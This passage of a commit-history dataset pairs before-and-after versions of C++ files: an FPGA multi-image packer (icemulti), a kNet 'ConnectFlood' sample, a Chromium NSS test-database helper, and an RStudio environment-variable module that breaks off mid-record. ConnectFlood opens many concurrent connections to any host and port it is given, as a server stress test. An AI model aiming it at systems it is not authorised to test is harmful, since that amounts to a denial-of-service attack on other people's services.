0x92);\n    write_byte(ofs, file_offset, 0x00);\n    write_byte(ofs, file_offset, coldboot ? 0x10 : 0x00);\n\n    \/\/ Boot address\n    write_byte(ofs, file_offset, 0x44);\n    write_byte(ofs, file_offset, 0x03);\n    write_byte(ofs, file_offset, (image->offset() >> 16) & 0xff);\n    write_byte(ofs, file_offset, (image->offset() >> 8) & 0xff);\n    write_byte(ofs, file_offset, image->offset() & 0xff);\n\n    \/\/ Bank offset\n    write_byte(ofs, file_offset, 0x82);\n    write_byte(ofs, file_offset, 0x00);\n    write_byte(ofs, file_offset, 0x00);\n\n    \/\/ Reboot\n    write_byte(ofs, file_offset, 0x01);\n    write_byte(ofs, file_offset, 0x08);\n\n    \/\/ Zero out any unused bytes\n    while (file_offset & (HEADER_SIZE - 1))\n        write_byte(ofs, file_offset, 0x00);\n}\n\nvoid usage()\n{\n    log(\"\\n\");\n    log(\"Usage: icemulti [options] input-files\\n\");\n    log(\"\\n\");\n    log(\" -c\\n\");\n    log(\" coldboot mode, power on reset image is selected by CBSEL0\/CBSEL1\\n\");\n    log(\"\\n\");\n    log(\" -p0, -p1, -p2, -p3\\n\");\n    log(\" select power on reset image when not using coldboot mode\\n\");\n    log(\"\\n\");\n    log(\" -a<n>, -A<n>\\n\");\n    log(\" align images at 2^<n> bytes. -A also aligns image 0.\\n\");\n    log(\"\\n\");\n    log(\" -o filename\\n\");\n    log(\" write output image to file instead of stdout\\n\");\n    log(\"\\n\");\n    log(\" -v\\n\");\n    log(\" verbose (repeat to increase verbosity)\\n\");\n    log(\"\\n\");\n    exit(EXIT_FAILURE);\n}\n\nint main(int argc, char **argv)\n{\n    int c;\n    char *endptr = NULL;\n    bool coldboot = false;\n    int por_image = 0;\n    int image_count = 0;\n    int align_bits = 0;\n    bool align_first = false;\n    Image *header_images[NUM_HEADERS];\n    std::unique_ptr<Image> images[NUM_IMAGES];\n    const char *outfile_name = NULL;\n\n    static struct option long_options[] = {\n        {NULL, 0, NULL, 0}\n    };\n\n    program_short_name = strrchr(argv[0], '\/');\n    if (program_short_name == NULL)\n        program_short_name = argv[0];\n    else\n        program_short_name++;\n\n    while ((c = getopt_long(argc, argv, \"cp:a:A:o:v\",\n                long_options, NULL)) != -1)\n        switch (c) {\n            case 'c':\n                coldboot = true;\n                break;\n            case 'p':\n                if (optarg[0] == '0' && optarg[1] == '\\0')\n                    por_image = 0;\n                else if (optarg[0] == '1' && optarg[1] == '\\0')\n                    por_image = 1;\n                else if (optarg[0] == '2' && optarg[1] == '\\0')\n                    por_image = 2;\n                else if (optarg[0] == '3' && optarg[1] == '\\0')\n                    por_image = 3;\n                else\n                    error(\"`%s' is not a valid power-on\/reset image (must be 0, 1, 2, or 3)\\n\", optarg);\n                break;\n            case 'A':\n                align_first = true;\n                \/* fallthrough *\/\n            case 'a':\n                align_bits = strtol(optarg, &endptr, 0);\n                if (*endptr != '\\0')\n                    error(\"`%s' is not a valid number\\n\", optarg);\n                if (align_bits < 0)\n                    error(\"argument to `-%c' must be non-negative\\n\", c);\n                break;\n            case 'o':\n                outfile_name = optarg;\n                break;\n            case 'v':\n                log_level++;\n                break;\n            default:\n                usage();\n        }\n\n    if (optind == argc) {\n        fprintf(stderr, \"%s: missing argument\\n\", program_short_name);\n        usage();\n    }\n\n    while (optind != argc) {\n        if (image_count >= NUM_IMAGES)\n            error(\"Too many images supplied\\n\");\n        images[image_count].reset(new Image(argv[optind++]));\n        header_images[image_count + 1] = &*images[image_count];\n        image_count++;\n    }\n\n    if (coldboot && por_image != 0)\n        error(\"Can't select power on reset boot image in cold boot mode\\n\");\n\n    if (por_image >= image_count)\n        error(\"Specified non-existing image for power on reset\\n\");\n\n    \/\/ Place images\n    uint32_t offs = NUM_HEADERS * HEADER_SIZE;\n    if (align_first)\n        align_offset(offs, align_bits);\n    for (int i=0; i<image_count; i++) {\n        images[i]->place(offs);\n        offs += images[i]->size();\n        align_offset(offs, align_bits);\n        info(\"Place image %d at %06x .. %06x.\\n\", i, int(images[i]->offset()), int(offs));\n    }\n\n    \/\/ Populate headers\n    header_images[0] = header_images[por_image + 1];\n    for (int i=image_count; i < NUM_IMAGES; i++)\n        header_images[i + 1] = header_images[0];\n\n    std::ofstream ofs;\n    std::ostream *osp;\n\n    if (outfile_name != NULL) {\n        ofs.open(outfile_name, std::ofstream::binary);\n        if (!ofs.is_open())\n            error(\"can't open output file `%s': %s\\n\", outfile_name, strerror(errno));\n        osp = &ofs;\n    } else {\n        osp = &std::cout;\n    }\n\n    uint32_t file_offset = 0;\n    for (int i=0; i<NUM_HEADERS; i++)\n    {\n        pad_to(*osp, file_offset, i * HEADER_SIZE);\n        write_header(*osp, file_offset, header_images[i], i == 0 && coldboot);\n    }\n    for (int i=0; i<image_count; i++)\n    {\n        pad_to(*osp, file_offset, images[i]->offset());\n        images[i]->write(*osp, file_offset);\n    }\n\n    info(\"Done.\\n\");\n    return EXIT_SUCCESS;\n}\n<commit_msg>icemulti: Differentiate between header and image count<commit_after>\/\/\n\/\/  Copyright (C) 2015  Marcus Comstedt <marcus@mc.pp.se>\n\/\/\n\/\/  Permission to use, copy, modify, and\/or distribute this software for any\n\/\/  purpose with or without fee is hereby granted, provided that the above\n\/\/  copyright notice and this permission notice appear in all copies.\n\/\/\n\/\/  THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n\/\/  WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n\/\/  MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n\/\/  ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n\/\/  WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n\/\/  ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n\/\/  OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\/\/\n\n#include <fstream>\n#include <iostream>\n#include <cstdint>\n#include <memory>\n\n#include <getopt.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#define log(...) fprintf(stderr, __VA_ARGS__);\n#define info(...) do { if (log_level > 0) fprintf(stderr, __VA_ARGS__); } while (0)\n#define error(...) do { fprintf(stderr, \"%s: \", program_short_name); fprintf(stderr, __VA_ARGS__); exit(EXIT_FAILURE); } while (0)\n\nstatic char *program_short_name;\n\nint log_level = 0;\n\nstatic const int NUM_IMAGES = 4;\nstatic const int NUM_HEADERS = NUM_IMAGES + 1;\nstatic const int HEADER_SIZE = 32;\n\nstatic void align_offset(uint32_t &offset, int bits)\n{\n    uint32_t mask = (1 << bits) - 1;\n    if (offset & mask)\n        offset = (offset | mask) + 1;\n}\n\nstatic void write_byte(std::ostream &ofs, uint32_t &file_offset, uint8_t byte)\n{\n    ofs << byte;\n    file_offset++;\n}\n\nstatic void write_bytes(std::ostream &ofs, uint32_t &file_offset,\n                        const uint8_t *buf, size_t n)\n{\n    if (n > 0) {\n        ofs.write(reinterpret_cast<const char*>(buf), n);\n        file_offset += n;\n    }\n}\n\nstatic void write_file(std::ostream &ofs, uint32_t &file_offset,\n                       std::istream &ifs, const char *filename)\n{\n    const size_t bufsize = 8192;\n    uint8_t *buffer = new uint8_t[bufsize];\n\n    while(!ifs.eof()) {\n        ifs.read(reinterpret_cast<char *>(buffer), bufsize);\n        if (ifs.bad())\n            error(\"can't read input image `%s': %s\\n\", filename, strerror(errno));\n        write_bytes(ofs, file_offset, buffer, ifs.gcount());\n    }\n\n    delete[] buffer;\n}\n\nstatic void pad_to(std::ostream &ofs, uint32_t &file_offset, uint32_t target)\n{\n    if (target < file_offset)\n        error(\"Trying to pad backwards!\\n\");\n    while(file_offset < target)\n        write_byte(ofs, file_offset, 0xff);\n}\n\nclass Image {\n    const char *filename;\n    std::ifstream ifs;\n    uint32_t offs;\n\npublic:\n    Image(const char *filename);\n    size_t size();\n    void write(std::ostream &ofs, uint32_t &file_offset);\n    void place(uint32_t o) { offs = o; }\n    uint32_t offset() const { return offs; }\n};\n\nImage::Image(const char *filename) : filename(filename), ifs(filename, std::ifstream::binary)\n{\n    if (ifs.fail())\n        error(\"can't open input image `%s': %s\\n\", filename, strerror(errno));\n}\n\nsize_t Image::size()\n{\n    ifs.seekg (0, ifs.end);\n    if (ifs.fail())\n        error(\"can't seek on input image `%s': %s\\n\", filename, strerror(errno));\n    size_t length = ifs.tellg();\n    ifs.seekg (0, ifs.beg);\n    if (ifs.fail())\n        error(\"can't seek on input image `%s': %s\\n\", filename, strerror(errno));\n\n    if (length == 0)\n        error(\"input image `%s' doesn't contain any data\\n\", filename);\n    return length;\n}\n\nvoid Image::write(std::ostream &ofs, uint32_t &file_offset)\n{\n    write_file(ofs, file_offset, ifs, filename);\n}\n\nstatic void write_header(std::ostream &ofs, uint32_t &file_offset,\n                         Image const *image, bool coldboot)\n{\n    \/\/ Preamble\n    write_byte(ofs, file_offset, 0x7e);\n    write_byte(ofs, file_offset, 0xaa);\n    write_byte(ofs, file_offset, 0x99);\n    write_byte(ofs, file_offset, 0x7e);\n\n    \/\/ Boot mode\n    write_byte(ofs, file_offset, 0x92);\n    write_byte(ofs, file_offset, 0x00);\n    write_byte(ofs, file_offset, coldboot ? 0x10 : 0x00);\n\n    \/\/ Boot address\n    write_byte(ofs, file_offset, 0x44);\n    write_byte(ofs, file_offset, 0x03);\n    write_byte(ofs, file_offset, (image->offset() >> 16) & 0xff);\n    write_byte(ofs, file_offset, (image->offset() >> 8) & 0xff);\n    write_byte(ofs, file_offset, image->offset() & 0xff);\n\n    \/\/ Bank offset\n    write_byte(ofs, file_offset, 0x82);\n    write_byte(ofs, file_offset, 0x00);\n    write_byte(ofs, file_offset, 0x00);\n\n    \/\/ Reboot\n    write_byte(ofs, file_offset, 0x01);\n    write_byte(ofs, file_offset, 0x08);\n\n    \/\/ Zero out any unused bytes\n    while (file_offset & (HEADER_SIZE - 1))\n        write_byte(ofs, file_offset, 0x00);\n}\n\nvoid usage()\n{\n    log(\"\\n\");\n    log(\"Usage: icemulti [options] input-files\\n\");\n    log(\"\\n\");\n    log(\" -c\\n\");\n    log(\" coldboot mode, power on reset image is selected by CBSEL0\/CBSEL1\\n\");\n    log(\"\\n\");\n    log(\" -p0, -p1, -p2, -p3\\n\");\n    log(\" select power on reset image when not using coldboot mode\\n\");\n    log(\"\\n\");\n    log(\" -a<n>, -A<n>\\n\");\n    log(\" align images at 2^<n> bytes. -A also aligns image 0.\\n\");\n    log(\"\\n\");\n    log(\" -o filename\\n\");\n    log(\" write output image to file instead of stdout\\n\");\n    log(\"\\n\");\n    log(\" -v\\n\");\n    log(\" verbose (repeat to increase verbosity)\\n\");\n    log(\"\\n\");\n    exit(EXIT_FAILURE);\n}\n\nint main(int argc, char **argv)\n{\n    int c;\n    char *endptr = NULL;\n    bool coldboot = false;\n    int por_image = 0;\n    int header_count = 0;\n    int image_count = 0;\n    int align_bits = 0;\n    bool align_first = false;\n    Image *header_images[NUM_HEADERS];\n    std::unique_ptr<Image> images[NUM_IMAGES];\n    const char *outfile_name = NULL;\n\n    static struct option long_options[] = {\n        {NULL, 0, NULL, 0}\n    };\n\n    program_short_name = strrchr(argv[0], '\/');\n    if (program_short_name == NULL)\n        program_short_name = argv[0];\n    else\n        program_short_name++;\n\n    while ((c = getopt_long(argc, argv, \"cp:a:A:o:v\",\n                long_options, NULL)) != -1)\n        switch (c) {\n            case 'c':\n                coldboot = true;\n                break;\n            case 'p':\n                if (optarg[0] == '0' && optarg[1] == '\\0')\n                    por_image = 0;\n                else if (optarg[0] == '1' && optarg[1] == '\\0')\n                    por_image = 1;\n                else if (optarg[0] == '2' && optarg[1] == '\\0')\n                    por_image = 2;\n                else if (optarg[0] == '3' && optarg[1] == '\\0')\n                    por_image = 3;\n                else\n                    error(\"`%s' is not a valid power-on\/reset image (must be 0, 1, 2, or 3)\\n\", optarg);\n                break;\n            case 'A':\n                align_first = true;\n                \/* fallthrough *\/\n            case 'a':\n                align_bits = strtol(optarg, &endptr, 0);\n                if (*endptr != '\\0')\n                    error(\"`%s' is not a valid number\\n\", optarg);\n                if (align_bits < 0)\n                    error(\"argument to `-%c' must be non-negative\\n\", c);\n                break;\n            case 'o':\n                outfile_name = optarg;\n                break;\n            case 'v':\n                log_level++;\n                break;\n            default:\n                usage();\n        }\n\n    if (optind == argc) {\n        fprintf(stderr, \"%s: missing argument\\n\", program_short_name);\n        usage();\n    }\n\n    while (optind != argc) {\n        if (header_count >= NUM_IMAGES)\n            error(\"Too many images supplied\\n\");\n        images[image_count].reset(new Image(argv[optind++]));\n        header_images[header_count + 1] = &*images[image_count];\n        header_count++;\n        image_count++;\n    }\n\n    if (coldboot && por_image != 0)\n        error(\"Can't select power on reset boot image in cold boot mode\\n\");\n\n    if (por_image >= header_count)\n        error(\"Specified non-existing image for power on reset\\n\");\n\n    \/\/ Place images\n    uint32_t offs = NUM_HEADERS * HEADER_SIZE;\n    if (align_first)\n        align_offset(offs, align_bits);\n    for (int i=0; i<image_count; i++) {\n        images[i]->place(offs);\n        offs += images[i]->size();\n        align_offset(offs, align_bits);\n        info(\"Place image %d at %06x .. %06x.\\n\", i, int(images[i]->offset()), int(offs));\n    }\n\n    \/\/ Populate headers\n    header_images[0] = header_images[por_image + 1];\n    for (int i=header_count; i < NUM_IMAGES; i++)\n        header_images[i + 1] = header_images[0];\n\n    std::ofstream ofs;\n    std::ostream *osp;\n\n    if (outfile_name != NULL) {\n        ofs.open(outfile_name, std::ofstream::binary);\n        if (!ofs.is_open())\n            error(\"can't open output file `%s': %s\\n\", outfile_name, strerror(errno));\n        osp = &ofs;\n    } else {\n        osp = &std::cout;\n    }\n\n    uint32_t file_offset = 0;\n    for (int i=0; i<NUM_HEADERS; i++)\n    {\n        pad_to(*osp, file_offset, i * HEADER_SIZE);\n        write_header(*osp, file_offset, header_images[i], i == 0 && coldboot);\n    }\n    for (int i=0; i<image_count; i++)\n    {\n        pad_to(*osp, file_offset, images[i]->offset());\n        images[i]->write(*osp, file_offset);\n    }\n\n    info(\"Done.\\n\");\n    return EXIT_SUCCESS;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* Copyright 2010 Jukka Jylnki\r\n\r\n   Licensed under the Apache License, Version 2.0 (the \"License\");\r\n   you may not use this file except in compliance with the License.\r\n   You may obtain a copy of the License at\r\n\r\n       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\r\n\r\n   Unless required by applicable law or agreed to in writing, software\r\n   distributed under the License is distributed on an \"AS IS\" BASIS,\r\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n   See the License for the specific language governing permissions and\r\n   limitations under the License. *\/\r\n\r\n\/** @file ConnectFlood.cpp\r\n\t@brief A program that hammers the given server with multiple concurrent connections\r\n\t\tto test how it behaves. *\/\r\n\r\n#include <iostream>\r\n#include <string>\r\n\r\n#include \"kNet.h\"\r\n\r\nusing namespace std;\r\nusing namespace kNet;\r\n\r\n#ifdef LINUX\r\n#define _stricmp strcasecmp\r\n#endif\r\n\r\nclass NetworkApp : public IMessageHandler\r\n{\r\n\tNetwork network;\r\npublic:\r\n\tvoid HandleMessage(MessageConnection *,message_id_t,const char *,size_t)\r\n\t{\r\n\t}\r\n\r\n\tvoid RunClient(const char *address, unsigned short port, SocketTransportLayer transport, int numConcurrentConnections, int numTotalConnections)\r\n\t{\r\n\t\tcout << \"Starting connection flood.\";\r\n\r\n\t\tstd::vector<MessageConnection*> connections;\r\n\t\tint numConnectionAttempts = 0;\r\n\t\twhile(numConnectionAttempts < numTotalConnections && connections.size() > 0)\r\n\t\t{\r\n\t\t\t\/\/ Start new connections.\r\n\t\t\twhile((int)connections.size() < numConcurrentConnections && numConnectionAttempts < numTotalConnections)\r\n\t\t\t{\r\n\t\t\t\t++numConnectionAttempts;\r\n\t\t\t\tMessageConnection *connection = network.Connect(address, port, transport, this);\r\n\t\t\t\tif (connection)\r\n\t\t\t\t\tconnections.push_back(connection);\r\n\t\t\t\telse\r\n\t\t\t\t\tbreak;\r\n\t\t\t}\r\n\r\n\t\t\t\/\/ Disconnect any established connections.\r\n\t\t\tfor(int i = 0; i < (int)connections.size(); ++i)\r\n\t\t\t{\r\n\t\t\t\tif (connections[i]->GetConnectionState() == ConnectionOK ||\r\n\t\t\t\t\tconnections[i]->GetConnectionState() == ConnectionClosed)\r\n\t\t\t\t{\r\n\t\t\t\t\tconnections[i]->Close();\r\n\t\t\t\t\tconnections.erase(connections.begin() + i);\r\n\t\t\t\t\t--i;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tClock::Sleep(1);\r\n\t\t}\r\n\r\n\t\tcout << \"Finished connection flood.\" << endl;\r\n\t}\r\n};\r\n\r\nvoid PrintUsage()\r\n{\r\n\tcout << \"Usage: \" << endl;\r\n\tcout << \"       tcp|udp <hostname> <port> <numConcurrentConnections> <numTotalConnections>\" << endl;\r\n}\r\n\r\nint main(int argc, char **argv)\r\n{\r\n\tif (argc < 6)\r\n\t{\r\n\t\tPrintUsage();\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tEnableMemoryLeakLoggingAtExit();\r\n\r\n\tSocketTransportLayer transport = SocketOverUDP;\r\n\tif (!_stricmp(argv[1], \"tcp\"))\r\n\t\ttransport = SocketOverTCP;\r\n\telse if (!!_stricmp(argv[1], \"udp\"))\r\n\t{\r\n\t\tcout << \"The second parameter is either 'tcp' or 'udp'!\" << endl;\r\n\t\treturn 0;\r\n\t}\r\n\tNetworkApp app;\r\n\r\n\tconst char *hostname = argv[2];\r\n\tunsigned short port = atoi(argv[3]);\r\n\tint numConcurrentConnections = atoi(argv[4]);\r\n\tint numTotalConnections = atoi(argv[5]);\r\n\r\n\tapp.RunClient(hostname, port, transport, numConcurrentConnections, numTotalConnections);\r\n}\r\n<commit_msg>Fixed old code in ConnectFlood sample.<commit_after>\/* Copyright 2010 Jukka Jylnki\r\n\r\n   Licensed under the Apache License, Version 2.0 (the \"License\");\r\n   you may not use this file except in compliance with the License.\r\n   You may obtain a copy of the License at\r\n\r\n       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\r\n\r\n   Unless required by applicable law or agreed to in writing, software\r\n   distributed under the License is distributed on an \"AS IS\" BASIS,\r\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n   See the License for the specific language governing permissions and\r\n   limitations under the License. *\/\r\n\r\n\/** @file ConnectFlood.cpp\r\n\t@brief A program that hammers the given server with multiple concurrent connections\r\n\t\tto test how it behaves. *\/\r\n\r\n#include <iostream>\r\n#include <string>\r\n\r\n#include \"kNet.h\"\r\n\r\nusing namespace std;\r\nusing namespace kNet;\r\n\r\n#ifdef LINUX\r\n#define _stricmp strcasecmp\r\n#endif\r\n\r\nclass NetworkApp : public IMessageHandler\r\n{\r\n\tNetwork network;\r\npublic:\r\n\tvoid HandleMessage(MessageConnection *,message_id_t,const char *,size_t)\r\n\t{\r\n\t}\r\n\r\n\tvoid RunClient(const char *address, unsigned short port, SocketTransportLayer transport, int numConcurrentConnections, int numTotalConnections)\r\n\t{\r\n\t\tcout << \"Starting connection flood.\";\r\n\r\n\t\tstd::vector<Ptr(MessageConnection)> connections;\r\n\t\tint numConnectionAttempts = 0;\r\n\t\twhile(numConnectionAttempts < numTotalConnections || connections.size() > 0)\r\n\t\t{\r\n\t\t\t\/\/ Start new connections.\r\n\t\t\twhile((int)connections.size() < numConcurrentConnections && numConnectionAttempts < numTotalConnections)\r\n\t\t\t{\r\n\t\t\t\t++numConnectionAttempts;\r\n\t\t\t\tPtr(MessageConnection) connection = network.Connect(address, port, transport, this);\r\n\t\t\t\tif (connection && connection->GetSocket())\r\n\t\t\t\t{\r\n\t\t\t\t\tLOG(LogUser, \"Connecting from local port %d. Connection 0x%p\", (int)connection->GetSocket()->LocalPort(), connection.ptr());\r\n\t\t\t\t\tconnections.push_back(connection);\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t\tbreak;\r\n\t\t\t}\r\n\r\n\t\t\t\/\/ Disconnect any established connections.\r\n\t\t\tfor(int i = 0; i < (int)connections.size(); ++i)\r\n\t\t\t{\r\n\t\t\t\tif (connections[i]->GetConnectionState() == ConnectionOK ||\r\n\t\t\t\t\tconnections[i]->GetConnectionState() == ConnectionClosed)\r\n\t\t\t\t{\r\n\t\t\t\t\tLOG(LogUser, \"Closing connection 0x%p.\", connections[i].ptr());\r\n\t\t\t\t\tconnections[i]->Close(0);\r\n\t\t\t\t\tconnections.erase(connections.begin() + i);\r\n\t\t\t\t\t--i;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tClock::Sleep(1);\r\n\t\t}\r\n\r\n\t\tcout << \"Finished connection flood.\" << endl;\r\n\t}\r\n};\r\n\r\nvoid PrintUsage()\r\n{\r\n\tcout << \"Usage: \" << endl;\r\n\tcout << \"       tcp|udp <hostname> <port> <numConcurrentConnections> <numTotalConnections>\" << endl;\r\n}\r\n\r\nint main(int argc, char **argv)\r\n{\r\n\tif (argc < 6)\r\n\t{\r\n\t\tPrintUsage();\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tEnableMemoryLeakLoggingAtExit();\r\n\r\n\tSocketTransportLayer transport = SocketOverUDP;\r\n\tif (!_stricmp(argv[1], \"tcp\"))\r\n\t\ttransport = SocketOverTCP;\r\n\telse if (!!_stricmp(argv[1], \"udp\"))\r\n\t{\r\n\t\tcout << \"The second parameter is either 'tcp' or 'udp'!\" << endl;\r\n\t\treturn 0;\r\n\t}\r\n\tNetworkApp app;\r\n\r\n\tconst char *hostname = argv[2];\r\n\tunsigned short port = atoi(argv[3]);\r\n\tint numConcurrentConnections = atoi(argv[4]);\r\n\tint numTotalConnections = atoi(argv[5]);\r\n\r\n\tapp.RunClient(hostname, port, transport, numConcurrentConnections, numTotalConnections);\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"crypto\/scoped_test_nss_db.h\"\n\n#include \"base\/logging.h\"\n#include \"base\/threading\/thread_restrictions.h\"\n#include \"crypto\/nss_util.h\"\n#include \"crypto\/nss_util_internal.h\"\n\nnamespace crypto {\n\nScopedTestNSSDB::ScopedTestNSSDB() {\n  EnsureNSSInit();\n  \/\/ NSS is allowed to do IO on the current thread since dispatching\n  \/\/ to a dedicated thread would still have the affect of blocking\n  \/\/ the current thread, due to NSS's internal locking requirements\n  base::ThreadRestrictions::ScopedAllowIO allow_io;\n\n  if (!temp_dir_.CreateUniqueTempDir())\n    return;\n\n  const char kTestDescription[] = \"Test DB\";\n  slot_ = OpenSoftwareNSSDB(temp_dir_.path(), kTestDescription);\n}\n\nScopedTestNSSDB::~ScopedTestNSSDB() {\n  \/\/ Don't close when NSS is < 3.15.1, because it would require an additional\n  \/\/ sleep for 1 second after closing the database, due to\n  \/\/ http:\/\/bugzil.la\/875601.\n  if (!NSS_VersionCheck(\"3.15.1\") || !slot_)\n    return;\n\n  \/\/ NSS is allowed to do IO on the current thread since dispatching\n  \/\/ to a dedicated thread would still have the affect of blocking\n  \/\/ the current thread, due to NSS's internal locking requirements\n  base::ThreadRestrictions::ScopedAllowIO allow_io;\n\n  SECStatus status = SECMOD_CloseUserDB(slot_.get());\n  if (status != SECSuccess)\n    PLOG(ERROR) << \"SECMOD_CloseUserDB failed: \" << PORT_GetError();\n\n  if (!temp_dir_.Delete())\n    LOG(ERROR) << \"Could not delete temporary directory.\";\n}\n\n}  \/\/ namespace crypto\n<commit_msg>Fix ScopedTestNSSDB for older NSS versions.<commit_after>\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"crypto\/scoped_test_nss_db.h\"\n\n#include \"base\/logging.h\"\n#include \"base\/threading\/thread_restrictions.h\"\n#include \"crypto\/nss_util.h\"\n#include \"crypto\/nss_util_internal.h\"\n\nnamespace crypto {\n\nScopedTestNSSDB::ScopedTestNSSDB() {\n  EnsureNSSInit();\n  \/\/ NSS is allowed to do IO on the current thread since dispatching\n  \/\/ to a dedicated thread would still have the affect of blocking\n  \/\/ the current thread, due to NSS's internal locking requirements\n  base::ThreadRestrictions::ScopedAllowIO allow_io;\n\n  if (!temp_dir_.CreateUniqueTempDir())\n    return;\n\n  const char kTestDescription[] = \"Test DB\";\n  slot_ = OpenSoftwareNSSDB(temp_dir_.path(), kTestDescription);\n}\n\nScopedTestNSSDB::~ScopedTestNSSDB() {\n  \/\/ Don't close when NSS is < 3.15.1, because it would require an additional\n  \/\/ sleep for 1 second after closing the database, due to\n  \/\/ http:\/\/bugzil.la\/875601.\n  if (!NSS_VersionCheck(\"3.15.1\")) {\n    LOG(ERROR) << \"NSS version is < 3.15.1, test DB will not be closed.\";\n    temp_dir_.Take();\n    return;\n  }\n\n  \/\/ NSS is allowed to do IO on the current thread since dispatching\n  \/\/ to a dedicated thread would still have the affect of blocking\n  \/\/ the current thread, due to NSS's internal locking requirements\n  base::ThreadRestrictions::ScopedAllowIO allow_io;\n\n  if (slot_) {\n    SECStatus status = SECMOD_CloseUserDB(slot_.get());\n    if (status != SECSuccess)\n      PLOG(ERROR) << \"SECMOD_CloseUserDB failed: \" << PORT_GetError();\n  }\n\n  if (!temp_dir_.Delete())\n    LOG(ERROR) << \"Could not delete temporary directory.\";\n}\n\n}  \/\/ namespace crypto\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Environment.cpp\n *\n * Copyright (C) 2009-11 by RStudio, Inc.\n *\n * This program is licensed to you under the terms of version 3 of the\n * GNU Affero General Public License. This program is distributed WITHOUT\n * ANY EXPRESS OR IMPLIED WARRANTY, INCLUDING THOSE OF NON-INFRINGEMENT,\n * MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Please refer to the\n * AGPL (http:\/\/www.gnu.org\/licenses\/agpl-3.0.txt) for more details.\n *\n *\/\n\n#include <core\/system\/Environment.hpp>\n\n#include <algorithm>\n\n#include <boost\/bind.hpp>\n\n#ifdef _WIN32\n#define kPathSeparator \";\"\n#else\n#define kPathSeparator \":\"\n#endif\n\nnamespace core {\nnamespace system {\n\nnamespace impl {\n\n\/\/ platform-specific name matching (Win32 is case-insensitive)\nbool optionIsNamed(const Option& option, const std::string& name);\n\n} \/\/ namespace impl\n\n\/\/ get an environment variable within an Options structure\nstd::string getenv(const Options& environment, const std::string& name)\n{\n   Options::const_iterator it = std::find_if(\n                                 environment.begin(),\n                                 environment.end(),\n                                 boost::bind(impl::optionIsNamed, _1, name));\n\n   if (it != environment.end())\n      return it->second;\n   else\n      return std::string();\n}\n\n\/\/ set an environment variable within an Options structure (replaces\n\/\/ any existing value)\nvoid setenv(Options* pEnvironment,\n            const std::string& name,\n            const std::string& value)\n{\n   Options::iterator it = std::find_if(\n                                 pEnvironment->begin(),\n                                 pEnvironment->end(),\n                                 boost::bind(impl::optionIsNamed, _1, name));\n   if (it != pEnvironment->end())\n      *it = std::make_pair(name, value);\n   else\n      pEnvironment->push_back(std::make_pair(name, value));\n}\n\n\/\/ remove an enviroment variable from an Options structure\nvoid unsetenv(Options* pEnvironment, const std::string& name)\n{\n   pEnvironment->erase(std::remove_if(pEnvironment->begin(),\n                                      pEnvironment->end(),\n                                      boost::bind(impl::optionIsNamed,\n                                                  _1,\n                                                  name)));\n}\n\n\/\/ add to the PATH within an Options struture\nvoid addToPath(Options* pEnvironment,\n               const std::string& filePath)\n{\n   std::string path = getenv(*pEnvironment, \"PATH\");\n   path = path + kPathSeparator + filePath;\n   setenv(pEnvironment, \"PATH\", path);\n}\n\nbool parseEnvVar(const std::string envVar, Option* pEnvVar)\n{\n   std::string::size_type pos = envVar.find(\"=\") ;\n   if ( pos != std::string::npos )\n   {\n      std::string key = envVar.substr(0, pos) ;\n      std::string value;\n      if ( (pos + 1) < envVar.size() )\n         value = envVar.substr(pos + 1) ;\n      *pEnvVar = std::make_pair(key,value);\n      return true;\n   }\n   else\n   {\n      return false;\n   }\n}\n\n} \/\/ namespace system\n} \/\/ namespace core\n<commit_msg>remove all vars with specified name in unsetenv<commit_after>\/*\n * Environment.cpp\n *\n * Copyright (C) 2009-11 by RStudio, Inc.\n *\n * This program is licensed to you under the terms of version 3 of the\n * GNU Affero General Public License. This program is distributed WITHOUT\n * ANY EXPRESS OR IMPLIED WARRANTY, INCLUDING THOSE OF NON-INFRINGEMENT,\n * MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Please refer to the\n * AGPL (http:\/\/www.gnu.org\/licenses\/agpl-3.0.txt) for more details.\n *\n *\/\n\n#include <core\/system\/Environment.hpp>\n\n#include <algorithm>\n\n#include <boost\/bind.hpp>\n\n#ifdef _WIN32\n#define kPathSeparator \";\"\n#else\n#define kPathSeparator \":\"\n#endif\n\nnamespace core {\nnamespace system {\n\nnamespace impl {\n\n\/\/ platform-specific name matching (Win32 is case-insensitive)\nbool optionIsNamed(const Option& option, const std::string& name);\n\n} \/\/ namespace impl\n\n\/\/ get an environment variable within an Options structure\nstd::string getenv(const Options& environment, const std::string& name)\n{\n   Options::const_iterator it = std::find_if(\n                                 environment.begin(),\n                                 environment.end(),\n                                 boost::bind(impl::optionIsNamed, _1, name));\n\n   if (it != environment.end())\n      return it->second;\n   else\n      return std::string();\n}\n\n\/\/ set an environment variable within an Options structure (replaces\n\/\/ any existing value)\nvoid setenv(Options* pEnvironment,\n            const std::string& name,\n\n            const std::string& 